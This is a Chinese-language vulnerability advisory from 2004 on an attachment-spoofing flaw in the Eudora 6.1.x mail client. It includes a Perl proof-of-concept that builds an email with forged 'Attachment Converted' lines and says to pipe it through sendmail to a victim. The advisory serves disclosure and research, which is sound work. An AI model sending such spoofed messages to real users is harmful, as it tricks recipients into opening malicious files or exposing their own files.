Qualcomm Eudora MIME附件伪造漏洞
发布日期:2004-07-06
更新日期:2004-07-12
受影响系统:Qualcomm Eudora 6.1.2
Qualcomm Eudora 6.1.1
描述:
BUGTRAQ ID:
10671
Qualcomm Eudora是一款邮件客户端程序。
Qualcomm Eudora存在MIME附件伪造问题,远程攻击者可以利用这个漏洞发送恶意文件给用户而信任的打开。
Eudora 6.1.2发布说明修补了通过BASE64编码MIME部分进行附件伪造问题,但是Paul Szabo发现依然存在这个问题,攻击者可以发送恶意MIME附件给目标用户。
<*来源:Paul Szabo (
psz@maths.usyd.edu.au)
链接:
http://www.securityfocus.com/archive/1/368157
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Paul Szabo (
psz@maths.usyd.edu.au)提供了如下测试方法:
#!/usr/bin/perl --
use MIME::Base64;
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.1.2 on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n\n";
print "With spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to).\n";
print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b64.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b64.txt\"\n\n";
$z = "Within base64 encoded, can use embedded NUL or without:\r
Attachment Converted\x00: \"c:\\winnt\\system32\\calc.exe\"\r
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r
\r\n";
print encode_base64($z);
print "\n--zzz\n";
print "Content-Type: text/plain; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n\n";
print "Within quoted-printable, can use embedded NUL or linebreak:\n";
print "Attachment Converted=00: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted=
: \"c:\\winnt\\system32\\calc.exe\"\n";
print "\n--zzz--\n";
建议:
厂商补丁:
Qualcomm
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.eudora.com/products/eudora/浏览次数:3546
严重程度:0(网友投票)